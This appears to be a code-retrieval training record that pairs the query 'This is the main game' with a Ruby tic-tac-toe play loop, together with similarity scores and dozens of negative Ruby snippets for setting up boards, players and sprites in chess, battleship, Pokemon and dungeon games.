"def newGameSetup\r\n @experienceInt = 0 #Starting experience.\r\n @experience.clear { para(\"EXP: \" + @experienceInt.to_s, @style_stats) }\r\n @tierInt = 1 #Starting tier.\r\n @tier.clear{ para(\"TIER: \" + @tierInt.to_s, @style_stats) }\r\n @durability.clear { para(\"DUR: \" + @durabilityInt.to_s, @style_stats) }\r\n\r\n @oreTotal = Array.new(@tiers, 0) #Total number of ores for each tier.\r\n @oreRemaining = Array.new(@tiers, 0) #Remaining number of ores for each tier.\r\n @tierExp = Array.new(@tiers) #Total experience available for each tier of ore.\r\n @tile = Array.new(@columns){Array.new(@rows)} #Declares the 2D array to represent the grid.\r\n @hiddenCount = @columns * @rows\r\n @endState.clear\r\n\r\n #Generates the grid of buttons\r\n @board.clear do\r\n stack(width: (@columns * @tile_size)) do\r\n background(\"#000000\") #Sets the background to black.\r\n border(\"#CE8\", strokewidth: 1)\r\n\r\n (0..@rows-1).each do |row|\r\n flow(width: 1.0) do\r\n (0..@columns-1).each do |col|\r\n @btn = button(width: @tile_size, height: @tile_size) {\r\n mineTile(col,row)\r\n }\r\n @tile[col][row] = Tile.new(@btn)\r\n end\r\n end\r\n end\r\n end\r\n end\r\n\r\n @endGame = false\r\n\r\n generateOres #Generates the ores into the grid.\r\n calculateAdjacent #Calculates all adjacent values of every tile.\r\n\r\nend",
"def init_players\r\n markers = MARKERS.dup\r\n (1..NUM_PLAYERS).each do |player_num|\r\n player_type = multiple_choice(\"Choose player #{player_num} type\",\r\n 'h' => Human, 'c' => Computer)\r\n @players << player_type.new(markers.pop)\r\n end\r\n end",
"def play\n init_player()\n init_board()\n puts \"Test game play\"\n end",
"def spawn_player player; end",
"def render_grid\n\t\t@grid_w.times.with_index do |x|\n\t\t\t@grid_h.times.with_index do |y|\n\t\t\t\tif !@has_enviroment_rendered\n \t \t\trender_wall x, y if @grid[x][y]==1\n\t\t\t\tend\n\t\t \trender_player x, y if @grid[x][y]==2\n \tend\n end\n #each_cell do |x, y, v|\n # render_wall x, y if !@has_environment_rendered && v == 1 \n # render_player x, y if v == 2\n #end\n\t\t@has_enviroment_rendered = true\n\tend",
"def setup_board\n gameboard.build_board\n build_white_side\n build_black_side\n end",
"def create_player_options\n\t\tnames = std_player_names\n\t\tcolours = std_player_colours\n\t\tcontrols = ControlMapper.new.controls()\n\n\t\tfor i in 0...Constants::MAX_PLAYERS\n\t\t\tentry = PlayerEntry.new(@window,\n\t\t\t\t\t\t\t\t\t@main,\n\t\t\t\t\t\t\t\t\t@text_input,\n\t\t\t\t\t\t\t\t\tnames[i], \n\t\t\t\t\t\t\t\t\tcolours[i],\n\t\t\t\t\t\t\t\t\tcontrols[i],\n\t\t\t\t\t\t\t\t \tself)\n\t\t\t\t\t\t\t\t\t \n\t\t\tentry.x = 100\n\t\t\tentry.y = 100 * (i+1)\n\t\t\tadd_component(entry)\n\t\t\t@entries << entry\n\t\tend\n\tend",
"def start_game\r\n # Read the file that contains game instructions and display on the console\r\n File.open(File.join(File.dirname(__FILE__),\"instructions.txt\")).each do |line|\r\n puts line\r\n end\r\n # Select player 1 and 2 as human or computer. If human provide a name for identification\r\n player_1 = ask(\"Player 1 option? \",Integer){|q| q.in = 1..3}\r\n if player_1 == 2\r\n player_1_name = ask(\"Name? \") { |q| q.validate = /\\w+\\Z/ }\r\n player_1_obj = Player.new(player_1_name)\r\n else\r\n player_1_obj = Player.new()\r\n end\r\n\r\n player_2 = ask(\"Player 2 option? \",Integer){|q| q.in = 1..3}\r\n if player_2 == 2\r\n player_2_name = ask(\"Name? \") { |q| q.validate = /\\w+\\Z/ }\r\n player_2_obj = Player.new(player_2_name)\r\n else\r\n player_2_obj = Player.new()\r\n end\r\n # Create an array with two player objects. Each player gets a token which is same as his index in the array\r\n players = Array.new(2){Player.new}\r\n players[0] = player_1_obj\r\n players[1] = player_2_obj\r\n # Create a new game board\r\n new_board = Board.new()\r\n puts \" To start, please select a column between 1-7\"\r\n turn = 1 # used to keep track of maximum number of turns in the game which is 7*6\r\n game_over_flag = 0 # set to 1 if game is over either by a win or a tie\r\n while(turn <= 42)\r\n players.each_with_index do |player,player_token|\r\n puts \"Player #{player.name} turn\"\r\n if player.name.eql?(\"Computer\")\r\n # currently the computer takes a random move. This can be replaced with the calculate_winning_move() method\r\n # by implementing an algorithm to calculate the best move\r\n player_selection = rand(7)\r\n else\r\n # Take human player's column selection. reduce it by 1 because array indices start with 0\r\n player_selection = ask(\"Column? \", Integer) { |q| q.in = 1..7 }\r\n end\r\n player_column = player_selection-1\r\n # call make_move which makes a move on behalf of player and checks if the move has made the player win\r\n win_flag = new_board.make_move(player_token,player_column)\r\n turn += 1\r\n if win_flag\r\n puts \"Game over : Player #{player.name} won\"\r\n game_over_flag = 1\r\n end\r\n if turn == 42\r\n puts \"Game over : Its a tie!!\"\r\n game_over_flag = 1\r\n end\r\n # if the game over flag is set, check if the players want to restart with a new game or end the game\r\n if game_over_flag == 1\r\n new_game = ask(\"Do you want to start new game ?(yes/no)\"){|q| q.validate = /(yes|no)\\Z/}\r\n if new_game.eql?('yes')\r\n start_game()\r\n else\r\n puts \"See you.Have a good day!!\"\r\n end\r\n return\r\n end\r\n end\r\nend\r\nend",
"def initial_piece_placements\n self.grid.each_with_index do |row, row_idx|\n row.each_with_index do |cell, cell_idx|\n pos = [row_idx, cell_idx]\n if pos.all? {|coord| coord.even?} || pos.all? {|coord| coord.odd?}\n if row_idx < 3\n self[pos] = Piece.new(self, pos, :white)\n elsif row_idx >= 5\n self[pos] = Piece.new(self, pos, :black)\n end\n end\n end\n end\n end",
"def generate_teams\n \t\t#seems redundant..just want to make sure I have actual players. Could remove this and stick with what is passed in player_id params\n \t\tselected_players = Player.find(setup_params[:player_id])\n \t\tselected_players_id = selected_players.map(&:id)\n \t\tavailable_players = Player.where.not(id: selected_players_id)\n\n \t\tgame = Game.new_game\n \t\tgame.generate_random_teams(selected_players);\n\n \t\trender partial: \"setup_game_modal\", locals: { selected_players: selected_players, available_players: available_players, game: game}\n \tend",
"def make_grid\n @grid = Array.new(4){Array.new(4)}\n end",
"def index\n @gameplays = initialize_grid(Gameplay,:include=>[:user])\n end",
"def set_player_positions\n self.print_grid\n\n xy = self.ask_for_x_y do\n \"Player 1: Where would you like to place your flag?\"\n end\n\n @player1_x = xy[0]\n @player1_y = xy[1]\n \n xy = self.ask_for_x_y do\n \"Player 2: Where would you like to place your flag?\"\n end\n\n @player2_x = xy[0]\n @player2_y = xy[1]\n end",
"def start(list)\n\t\t@vPlayers = [];\n\t\t\n\t\t# Adding players to the game\n\t\tlist.each {|name|\n\t\t\tplayer = Player.new(name)\n\t\t\t@vPlayers.push(player)\n\t\t}\n\t\t\n\t\t# Launch the simulation of the game\n\t\tsimulation2()\n\n\t\t# Print the winner\n\t\twinner()\n\tend",
"def board_setup\n\t\tinitial_position = [\"rook\", \"knight\", \"bishop\", \"queen\", \"king\", \"bishop\", \"knight\", \"rook\"]\n\t\tspecial_position = [8,1]\n\t\tpawn_position = [7,2]\n\t\tinitial_color = [\"black\",\"white\"]\n\t\ti = 0\n\t\tx = 0\n\t\t#loops through ranks 8 and 1 setting each class piece in his corresponding position.\n\t\tspecial_position.each do |num|\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\t@board[letter+num.to_s].name = initial_position[i]\n\t\t\t\t@board[letter+num.to_s].color = initial_color[x]\n\t\t\t\ti += 1\n\t\t\tend\n\t\t\ti = 0\n\t\t\tx += 1\n\t\tend\n\n\t\ty = 0\n\t\t#loos through ranks 7 and 2 setting the pawn's pieces in his corresponding position.\n\t\tpawn_position.each do |num|\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\t@board[letter+num.to_s].name = \"pawn\"\n\t\t\t\t@board[letter+num.to_s].color = initial_color[y]\n\t\t\tend\n\t\t\ty += 1\n\t\tend\n\tend",
"def initialize_game\n setup_boards\n end",
"def create\n @game = Game.new(params[:game])\n\t\n #First update the players table to indicate who is playing this game\n set_player_availability(params)\n \n #Create a team to hold the home team players\n home_team = Team.new\n home_team.name = params[:home_team_name]\n home_team.save\n @game.home_team_id = home_team.id\n \n #Create a team to hold the away team players\n away_team = Team.new\n away_team.name = params[:away_team_name]\n away_team.save\n @game.away_team_id = away_team.id\n \n #Create home and away teams from available players\n build_teams(home_team, away_team)\n \n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def go_play\n puts \"Let's start a new game\"\n @grid.print_board # prints the initial blank layout of the board\n puts @player1.name + \" \" + \"your turn first!\" # player 1 always goes first\n end",
"def create_grid\n @grid = {\"1a\" => \" \", \"1b\" => \" \", \"1c\" => \" \", \"1d\" => \" \", \"1e\" => \" \",\n \"2a\" => \" \", \"2b\" => \" \", \"2c\" => \" \", \"2d\" => \" \", \"2e\" => \" \",\n \"3a\" => \" \", \"3b\" => \" \", \"3c\" => \" \", \"3d\" => \" \", \"3e\" => \" \",\n \"4a\" => \" \", \"4b\" => \" \", \"4c\" => \" \", \"4d\" => \" \", \"4e\" => \" \",\n \"5a\" => \" \", \"5b\" => \" \", \"5c\" => \" \", \"5d\" => \" \", \"5e\" => \" \"}\n end",
"def initializeSprites\n # initializes player sprite\n @battle.player.each_with_index do |pl, i|\n plfile = GameData::TrainerType.player_back_sprite_filename(pl.trainer_type)\n pbAddSprite(\"player_#{i}\", 0, 0, plfile, @viewport)\n if @sprites[\"player_#{i}\"].bitmap.nil?\n @sprites[\"player_#{i}\"].bitmap = tempMissingBackSprite\n end\n @sprites[\"player_#{i}\"].x = 40 + i*100\n @sprites[\"player_#{i}\"].y = Graphics.height - @sprites[\"player_#{i}\"].bitmap.height\n @sprites[\"player_#{i}\"].z = 50\n @sprites[\"player_#{i}\"].opacity = 0\n @sprites[\"player_#{i}\"].src_rect.width /= 5\n end\n # initializes trainer sprite\n if @battle.opponent\n @battle.opponent.each_with_index do |t, i|\n @sprites[\"trainer_#{i}\"] = DynamicTrainerSprite.new(@battle.doublebattle?, -1, @viewport, @battle.opponent.length > 1, t)\n @sprites[\"trainer_#{i}\"].setTrainerBitmap\n @sprites[\"trainer_#{i}\"].z = (@minorAnimation || @integratedVS) ? 100 : @sprites[\"battlebg\"].battler(i*2 + 1).z\n @sprites[\"trainer_#{i}\"].shadow.z = 98 if @minorAnimation\n @sprites[\"trainer_#{i}\"].tone = Tone.new(-255, -255, -255, -255)\n end\n end\n # initializes Pokemon sprites\n @battlers.each_with_index do |b, i|\n next if !b\n @sprites[\"pokemon_#{i}\"] = DynamicPokemonSprite.new(@battle.doublebattle?, i, @viewport, @battle)\n @sprites[\"pokemon_#{i}\"].z = @sprites[\"battlebg\"].battler(i).z\n @sprites[\"pokemon_#{i}\"].index = i\n end\n # assign bitmaps for wild battlers\n loadWildBitmaps\n end",
"def prepare_grid\n\t\tArray.new(rows) do |row|\n\t\t\tArray.new(columns) do |col|\n\t\t\t\tCell.new(row, col)\n\t\t\tend\n\t\tend\n\tend",
"def create_players\n\n get_players.map do|player|\n Player.create(first_name: player[\"firstName\"],last_name: player[\"lastName\"],team: player[\"teamId\"], position: player[\"pos\"])\n end\n\nend",
"def start_game(players, type)\n game_factory = ConnectGameFactory.new(players.to_i, type)\n\n GameView.new(game_factory.connect_game, game_factory.game_state) unless $DEBUG\n\n CommandView.new(game_factory) if $DEBUG\n end",
"def new_game\n player1 = @players[0]\n player2 = @players[1]\n @game = Game.new(player1, player2, best_of, rules)\n game.play\n end",
"def get_players\n Team.all.each do |team|\n loc = team.home_url.index('/_/')\n url = team.home_url.insert(loc, '/roster')\n doc = Nokogiri::HTML(open(url))\n players = doc.css('div.mod-content tr.oddrow, div.mod-content tr.evenrow')\n players.each do |player|\n player_url = player.css('td a').attr('href').to_s\n espn_id = player_url[player_url.index('/_/id/') + 6, 7]\n name = player.css('td')[1].text\n height = player.css('td')[3].text\n height_array = height.split('-')\n height = (height_array.first.to_i * 12 ) + height_array.last.to_i\n new_player = Player.find_or_initialize_by(espn_id: espn_id)\n new_player.team = team\n new_player.number = player.css('td')[0].text\n new_player.first_name = name.rpartition(' ').first\n new_player.last_name = name.rpartition(' ').last\n new_player.position = player.css('td')[2].text\n new_player.height = height\n new_player.weight = player.css('td')[4].text\n new_player.year = player.css('td')[5].text\n new_player.hometown = player.css('td')[6].text\n new_player.save\n end\n end\n redirect_to teams_path \n end",
"def start_game\n Board.new 10, 10\n end",
"def newgame\n # unless @stats_mode == true\n # puts \"\\n=========================================================\"\n # end\n \n @players = Array.new\n @frame_scores = Array.new\n @game_scores = Array.new\n \n @player = 1\n @frame_no = 1\n @roll_type = 1\n @pins_remaining = 10\nend",
"def setup( )\n\t\t\t(\"a\"..\"h\").each do |f|\n\t\t\t\t@squares[\"#{f}2\"] = Chess::Pawn.new(self, \"#{f}2\", :white)\n\t\t\t\t@squares[\"#{f}7\"] = Chess::Pawn.new(self, \"#{f}7\", :black)\n\t\t\tend\n\t\t\t[\"a\", \"h\"].each do |f|\n\t\t\t\t@squares[\"#{f}1\"] = Chess::Rook.new(self, \"#{f}1\", :white)\n\t\t\t\t@squares[\"#{f}8\"] = Chess::Rook.new(self, \"#{f}8\", :black)\n\t\t\tend\n\t\t\t[\"b\", \"g\"].each do |f|\n\t\t\t\t@squares[\"#{f}1\"] = Chess::Knight.new(self, \"#{f}1\", :white)\n\t\t\t\t@squares[\"#{f}8\"] = Chess::Knight.new(self, \"#{f}8\", :black)\n\t\t\tend\n\t\t\t[\"c\", \"f\"].each do |f|\n\t\t\t\t@squares[\"#{f}1\"] = Chess::Bishop.new(self, \"#{f}1\", :white)\n\t\t\t\t@squares[\"#{f}8\"] = Chess::Bishop.new(self, \"#{f}8\", :black)\n\t\t\tend\n\t\t\t@squares[\"d1\"] = Chess::Queen.new(self, \"d1\", :white)\n\t\t\t@squares[\"d8\"] = Chess::Queen.new(self, \"d8\", :black)\n\t\t\t@squares[\"e1\"] = Chess::King.new(self, \"e1\", :white)\n\t\t\t@squares[\"e8\"] = Chess::King.new(self, \"e8\", :black)\n\t\tend",
"def setup_board\n # Create game objects.\n create_objects\n\n # Print the start game string.\n puts start_game\n # For each ship ask for user input and place them once the given coordinates and placement is valid.\n @user_ships.each do |ship|\n print user_placement_selection(ship)\n user_place_location = convert_user_coord(user_input)\n \n # Loop until there is a valid input from the user.\n until place_user_ship(ship, user_place_location)\n print invalid_coord\n user_place_location = convert_user_coord(user_input)\n end\n # Show the users ship setup.\n puts show_user_ships_setup\n end\n end",
"def create_game(window, game_over_callable, *players)\n\t\tplay_state = PlayState.new(game_over_callable)\n\n\t\t@pos_idx = 0\n\n\t\tcreate_player_entities(play_state, players)\n\t\tassign_z_values(players)\n\n\t\tplay_state.width = BOARD_WIDTH\n\t\tplay_state.height = BOARD_HEIGHT \n\n\t\tplay_state.window = window\n\n\t\tplay_state.controller = @controller_factory.create_controller(*players)\n\t\tplay_state.judge = Judge.new(*players)\n\n\t\tplay_state\n\tend",
"def newgame\n puts \"\\n=========================================================\"\n \n @players = Array.new\n @frame_scores = Array.new\n @game_scores = Array.new\n \n @player = 1\n @frame_no = 1\n @roll_type = 1\n @pins_remaining = 10\nend",
"def initialize(players)\n\n # we may need preprocessing if players are given as strings\n players = parse(players) unless players.first.kind_of? Player\n\n # preprocessing the player list to ensure an optimal distribution\n # of groups\n @players = prepare_group_sort(players)\n\n @starter = @players.first # all our circles start here\n\n # We prepare the core graph.\n breed(@players)\n\n # Now we add all the other players step by step\n @players[5..-1].each.with_index do |p,i|\n insert(p, 0, 5+i)\n insert(p, 1, 5+i)\n insert(p, 2, 5+i)\n end\n end",
"def initialize \n @rows = 8\n @columns = 8\n @grid = create_board\n end",
"def wargames(player_1 = Players::Computer.new(\"X\"), player_2 = Players::Computer.new(\"O\"),board = Board.new)\n game = Game.new(player_1, player_2, board)\n game.play\n end",
"def new_players\n puts \"Welcome to the Tic Tac Toe Game X-O-X-O\"\n puts \"Player 1 name:\"\n name1 = gets.chomp\n @player1 = Player.new(name1, \"X\") #creates player 2 with X symbol\n @player1.say_hello # prints out welcome message for player 1\n puts \"Player 2 name:\"\n name2 = gets.chomp\n @player2 = Player.new(name2, \"O\") #creates player 2 with O symbol\n @player2.say_hello # prints out welcome message for player 2\n end",
"def create_line_game\n project = Project.where(name: 'DozoR').first || Project.create(name: 'DozoR', owner: 'Алесь Жук', css_class: 'dozor')\n format = Format.where(name: 'Klad').first || Format.create(name: \"Klad\", organizer: \"Lightpower\", show_in_archives: true, project: project, css_class: nil)\n game = Game.where(game_type: 'line').last || Game.create(number: \"1\", name: \"Тестовая игра\", game_type: \"line\", start_date: \"2013-07-28 15:00:00\", finish_date: \"2013-07-31 15:00:00\", price: 0, area: nil, image_html: \"<img src=\\\"http://neobychnye-zaprosy.ru/pict/box.png\\\">\", preview: nil, legend: 'Тестовая игра и, соответственно, тестовая игра.', brief_place: 'Дома', dopy_list: '- Хорошее настроение', is_active: true, is_archived: false, prepare_url: nil, discuss_url: nil, format: format)\n GameConfig.create(time: 0, bonus: 0, total_bonus: 0, game: game) if game.config.blank?\n game.reload\n\n @users = User.where('email ILIKE ?', 'u_@ex.ua')\n @users = [User.create(email: 'u1@ex.ua', password: '123456', password_confirmation: '123456'),\n User.create(email: 'u2@ex.ua', password: '123456', password_confirmation: '123456') ] if @users.blank?\n @teams = Team.where('name LIKE ?', 'Team_')\n @teams = [Team.create(name: 'Team1', alternative_name: 'Team 1', image_url: '/images/test.png', user_id: @users.first.id),\n Team.create(name: 'Team2', alternative_name: 'Team 2', image_url: '/images/test2.png', user_id: @users.last.id) ] if @teams.blank?\n @users.first.team = @teams.first\n @users.first.save\n @users.last.team = @teams.last\n @users.last.save\n\n debugger\n # Requests to game\n GameRequest.where(game_id: game.id, team_id: @teams.map(&:id)).map(&:delete) # delete just in case\n @teams.each { |team| GameRequest.create(game: game, team: team, is_accepted: true) }\n\n if game.zones.blank?\n Zone.create(game: game, number: 1, name: 'Зона 1', image_url: '/image/test1.png')\n Zone.create(game: game, number: 2, name: 'Зона 2', image_url: '/image/test2.png')\n game.reload\n end\n\n # Tasks with codes and included tasks\n\n game.zones.all.each do |zone|\n\n # task 1 - 1 code\n task_number = zone.new_task_number\n task = Task.create(game: game, number: task_number, name: \"Задание №#{task_number}\", code_quota: 0, # all codes\n data: '<b>Четыре колобка свалились под мост.</b> Коды задания: <font color=\\'orange\\'>D номер зоны R + (номер задания*10 + номер кода)</font>',\n duration: 60, zone: zone)\n # Code\n code_number = task.new_code_number\n code = Code.create(game: game, task: task, number: code_number,\n name: '',\n bonus: 0,\n ko: '1+',\n info: 'Под лавочкой',\n color: 'red')\n CodeString.create(game: game, data: \"D#{zone.number}R#{ + task_number*10 + code_number}\", code: code)\n task.codes << code\n task.reload\n zone.reload\n\n # 2 hints for each task\n Hint.create(game: game, task: task, number: 1, delay: 20, cost: -1, data: '<i>Читайте задание внимательнее!</i>')\n Hint.create(game: game, task: task, number: 2, delay: 40, cost: -1, data: '<i>Как найти коды, выделено оранжевым.</i>')\n\n\n # Task 2 - 10 codes\n task_number = zone.new_task_number\n task = Task.create(game: game, number: task_number, name: \"Задание №#{task_number}\", code_quota: -1, # all minus one\n data: '<b>Большой поиск.</b> Коды задания: <font color=\\'orange\\'>D номер зоны R + (номер задания*10 + номер кода)</font>',\n duration: 50, zone: zone)\n # Codes\n infos = %w(Первый Второй Третий Четвёртый Пятый Шестой Седьмой Восьмой Девятый Десятый)\n 10.times do\n code_number = task.new_code_number\n code = Code.create(game: game, task: task, number: code_number,\n name: '',\n bonus: 0,\n ko: '1+',\n info: infos[code_number - 1],\n color: 'blue')\n CodeString.create(game: game, data: \"D#{zone.number}R#{ + task_number*10 + code_number}\", code: code)\n task.codes << code\n task.reload\n end\n zone.reload\n\n # 2 hints for each task\n Hint.create(game: game, task: task, number: 1, delay: 15, cost: -1, data: '<i>Коды можно подобрать.</i>')\n Hint.create(game: game, task: task, number: 2, delay: 30, cost: -1, data: '<i>Как вычислить коды, выделено оранжевым.</i>')\n\n end\n\n game\nend",
"def board_setup\n puts \"\"\n puts \"**********************\".green\n puts \"1st step - Board setup\".green\n puts \"**********************\".green\n puts \"\"\n\n player1_title = @best_of3 ? \"#{@board_player1.player.wins} wins\" : \"\"\n puts \"Player #{@board_player1.player.name} #{player1_title}\".blue\n @board_player1.set_board\n\n player2_title = @best_of3 ? \"#{@board_player2.player.wins} wins\" : \"\"\n puts \"Player #{@board_player2.player.name} #{player2_title}\".blue\n @board_player2.set_board\n end",
"def setup(numPlayers, myIndex, suspects, locations, weapons)\n @@numPlayers = numPlayers\n @myIndex = myIndex\n @suspects = suspects.clone\n @locations = locations.clone\n @weapons = weapons.clone\n @cards = Array.new\n @inGame = true\n end",
"def run_game\n\n #creating the players\n\n player1 = Player.new(\"Player 1\")\n player2 = Player.new(\"Player 2\")\n @players << player1\n @players << player2\n\n @active_player = @players[1]\n\n while (@active_player.life > 0)\n run_round\n end\n\n game_over\n\n end",
"def create_new_game\n create_new_party\n $pokemon_party.expand_global_var\n $trainer.redefine_var\n $scene = Scene_Map.new\n Yuki::TJN.force_update_tone\n @running = false\n end",
"def initialize \n\t@first_player = Player.new(\"joueur 1\")\n\t@second_player = Player.new(\"joueur 2\")\n\t self.create_board\n\t self.play_until_victory\n end",
"def run\n Interface::header\n Interface::newline\n\n count = get_number_of_players\n get_player_names( count )\n\n @b.play_game\n end",
"def create_grid\n spaces = create_spaces\n assign_spaces_to_rows.map do |row|\n row.each.with_index do |coordinates, index|\n row[index] = {coordinates => spaces[coordinates]}\n end\n end\n end",
"def setup(size, random, best_of3)\n @size = size\n\n if best_of3 && @board_player1 && @board_player2\n @board_player1 = Board.new(size, @board_player1.player)\n @board_player2 = Board.new(size, @board_player2.player)\n else\n @board_player1 = Board.new(size, Player.new(\"abrahan\"))\n @board_player2 = Board.new(size, Player.new(\"bot\"))\n end\n\n @boards = [@board_player1, @board_player2]\n @players = @boards.map(&:player)\n @random = random\n @board_turn = random ? @boards.sample : @boards.first\n end",
"def create_graphics\n create_viewport\n create_background\n create_pokemon_sprite\n create_egg_sprite\n end",
"def populate()\n @card_values.shuffle!\n i = 0\n (0...@size).each do |row|\n (0...@size).each do |col|\n @grid[row][col] = Card.new(@card_values[i])\n i += 1\n end\n end\n end",
"def populate_board\n\t\t8.times{|x|\t@board[x][6] = Pawn.new([x, 6], \"black\", @board)}\n\t\t@board[0][7] = Rook.new([0, 7], \"black\", @board)\t\n\t\t@board[1][7] = Knight.new([1, 7], \"black\", @board)\n\t\t@board[2][7] = Bishop.new([2, 7], \"black\", @board)\n\t\t@board[3][7] = Queen.new([3, 7], \"black\", @board)\n\t\t@board[4][7] = King.new([4, 7], \"black\", @board)\t\t\n\t\t@board[5][7] = Bishop.new([5, 7], \"black\", @board)\n\t\t@board[6][7] = Knight.new([6, 7], \"black\", @board)\n\t\t@board[7][7] = Rook.new([7, 7], \"black\", @board)\n\t\t\t\t\n\t\t 8.times{|x|\t@board[x][1] = Pawn.new([x, 1], \"white\", @board)}\n\t\t@board[0][0] = Rook.new([0, 0], \"white\", @board)\t\n\t\t@board[1][0] = Knight.new([1, 0], \"white\", @board)\n\t\t@board[2][0] = Bishop.new([2, 0], \"white\", @board)\n\t\t@board[3][0] = Queen.new([3, 0], \"white\", @board)\n\t\t@board[4][0] = King.new([4, 0], \"white\", @board)\t\t\n\t\t@board[5][0] = Bishop.new([5, 0], \"white\", @board)\n\t\t@board[6][0] = Knight.new([6, 0], \"white\", @board)\n\t\t@board[7][0] = Rook.new([7, 0], \"white\", @board)\n\tend",
"def make_board\n make_blank_board\n populate_board\n end"
] | [
"0.7265136",
"0.7182019",
"0.7045708",
"0.70349234",
"0.70334756",
"0.6948522",
"0.677994",
"0.67660564",
"0.6725671",
"0.67060584",
"0.66937774",
"0.66446733",
"0.66263664",
"0.658209",
"0.6538686",
"0.6537632",
"0.6525969",
"0.65154123",
"0.6496448",
"0.648338",
"0.6457295",
"0.6440005",
"0.64387727",
"0.6427441",
"0.64087856",
"0.6404863",
"0.6387012",
"0.636689",
"0.6363469",
"0.63576794",
"0.6348341",
"0.63261294",
"0.6319009",
"0.6284627",
"0.6265124",
"0.6264776",
"0.6262064",
"0.6247364",
"0.62467134",
"0.6229415",
"0.6219184",
"0.62110287",
"0.6161594",
"0.6158871",
"0.6157722",
"0.6147178",
"0.612275",
"0.61180705",
"0.6115643",
"0.6109449",
"0.60940444",
"0.6081254",
"0.6065727",
"0.6056056",
"0.605538",
"0.60491705",
"0.60401344",
"0.60368454",
"0.6025692",
"0.602428",
"0.6024019",
"0.60224044",
"0.601481",
"0.60140693",
"0.6008174",
"0.6006643",
"0.60005885",
"0.5986358",
"0.59826005",
"0.5980254",
"0.597743",
"0.5976024",
"0.5975272",
"0.5970295",
"0.5964002",
"0.59605765",
"0.59579873",
"0.59406316",
"0.5937644",
"0.59363335",
"0.59335876",
"0.5930879",
"0.59281933",
"0.59256256",
"0.59239894",
"0.592173",
"0.59210116",
"0.5915702",
"0.59146357",
"0.5909457",
"0.5909332",
"0.590662",
"0.5896779",
"0.58896625",
"0.5885947",
"0.5881434",
"0.5877102",
"0.58764607",
"0.58749545",
"0.58718115",
"0.5854134"
] | 0.0 | -1 |
This is the main game | def play
@board.print_grid
do_break = false
while !((@board.checkWin('X', @p1.name)) || (@board.checkWin('O', @p2.name)))
player_turn
if @@turn == 9
do_break = true
end
break if do_break
end
finish
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def game; end",
"def game; end",
"def game; end",
"def game; end",
"def game; end",
"def game; end",
"def game; end",
"def game_loop\n end",
"def game_loop\n end",
"def main\n rounds = Game.start\n game = Game.new(rounds)\n roshambo = Roshambo.new(game)\n Roshambo.play(roshambo)\nend",
"def main\n # fade in scene\n 16.times do\n self.update\n @viewport.color.alpha -= 16\n Graphics.update\n end\n # hide silhouette\n h = (@sprites[\"sil\"].bitmap.height/32.0).ceil\n 32.times do\n self.update\n @sprites[\"sil\"].src_rect.height -= h\n Graphics.update\n end\n # play cry\n GameData::Species.cry_filename_from_pokemon(@pokemon)\n # begin loop\n loop do\n Graphics.update\n Input.update\n self.update\n break if Input.trigger?(Input::C)\n end\n # moves Pokemon sprite to middle of screen\n w = (@viewport.width/2 - @sprites[\"poke\"].x)/32\n 32.times do\n @sprites[\"contents\"].color.alpha += 16\n @sprites[\"bg\"].color.alpha += 16\n @sprites[\"highlight\"].color.alpha += 16\n @sprites[\"poke\"].x += w\n @sprites[\"color\"].opacity += 8\n for i in 1..3\n @sprites[\"c#{i}\"].opacity += 8\n end\n self.update\n Graphics.update\n end\n @sprites[\"poke\"].x = @viewport.width/2\n Graphics.update\n end",
"def Main\n #Begin preinitialization\n preInit()\n\n #Render Game Window and begin drawing onto the screen.\n\n DEBUG.cout(\"Initializing Game Window...\", 0, false)\n window = GameWindow.new\n window.show\n\n #End game and return to desktop\n return nil\nend",
"def game_setup\n end",
"def run\n start_game\n game_loop\n end_game\n end",
"def play\n #calls to all the methods that produce game!\n end",
"def gameflow\n \n end",
"def main\n # Class Instances\n game = Game.new\n player1 = Player.new(1)\n player2 = Player.new(2)\n # Start of main engine\n #player1.name = prompt_UI.name.....\n player1.get_name\n player2.get_name\n game.display_welcome(player1, player2)\n # Sets the current turn order\n current_player = player1\n # Start of main game loop\n continue = true\n while continue\n # go to game to get, go to UI to present\n game.display_question(current_player)\n current_player.display_score\n if current_player.game_over?\n game.final_score(player1, player2)\n continue = false\n end\n if current_player == player1\n current_player = player2\n else\n current_player = player1\n end\n end\nend",
"def go_game\n #RPG::BGM.fade(30)\n #Graphics.fadeout(30)\n #Graphics.frame_count = 0\n DataManager.autosave(true, false)\n SceneManager.goto(Scene_Map)\n #$game_system.on_after_load\n end",
"def start\n DataManager.create_game_objects\n $game_party.setup_starting_members\n $game_map.setup(Config::Starting_Map_ID)\n $game_player.moveto(Config::X_Pos, Config::Y_Pos)\n $game_player.followers.visible = false\n $game_player.refresh\n $game_player.make_encounter_count\n\n @character_name = $game_player.character_name\n @character_index = $game_player.character_index\n $game_player.set_graphic('', 0)\n\n $game_system.menu_disabled = true\n Graphics.frame_count = 0\n\n super\n create_foreground\n create_background\n create_command_window\n play_title_music\n end",
"def run\n #Load the Hero File\n load_hero_file\n #Load dungeon at top level\n load_dungeon_file(@current_level)\n #display the hero's starting spot\n clear_message_box\n #get input either an action or a movement.\n while true\n update_screen\n key = @ui.instr\n case key\n when 'B','b' #turn left\n @hero_direction = POS_TURN.rotate!(-1)[0]\n when 'N','n' #turn right\n @hero_direction = POS_TURN.rotate!(1)[0]\n when 'M','m' #move ahead\n move_hero\n when 'A','a' #attack\n hero_attack if @monster_detected\n when 'C','c' #cast\n if @stats[:aura] > 0 && !@spells.empty?\n cast_spell\n else\n @ui.place_text('FIZZZZ....'.ljust(20),1,2,DungeonOfDoom::C_BLACK_ON_YELLOW)\n @ui.place_text(MSG_NOTHING.ljust(20),1,3,DungeonOfDoom::C_BLACK_ON_YELLOW)\n end\n when 'G','g' #get\n get_object\n when 'P','p' #potion\n drink_potion\n when 'R','r' #reveal\n light_room\n when 'S','s' #save?\n #not implemented yet\n when 'Q','q' #quit\n if ask_question('DO YOU REALLY WANT', 'TO QUIT? (Y/N)') == 'Y'\n break\n else\n clear_message_box\n end\n else\n #do nothing\n end\n #automated game elements\n\n #monster detected\n monster_attack if @monster_detected\n #hero died\n if @stats[:strength] <= 0\n game_over\n break\n end\n #hero gets idol!\n if @idol_found\n win_game\n break\n end\n end\n end",
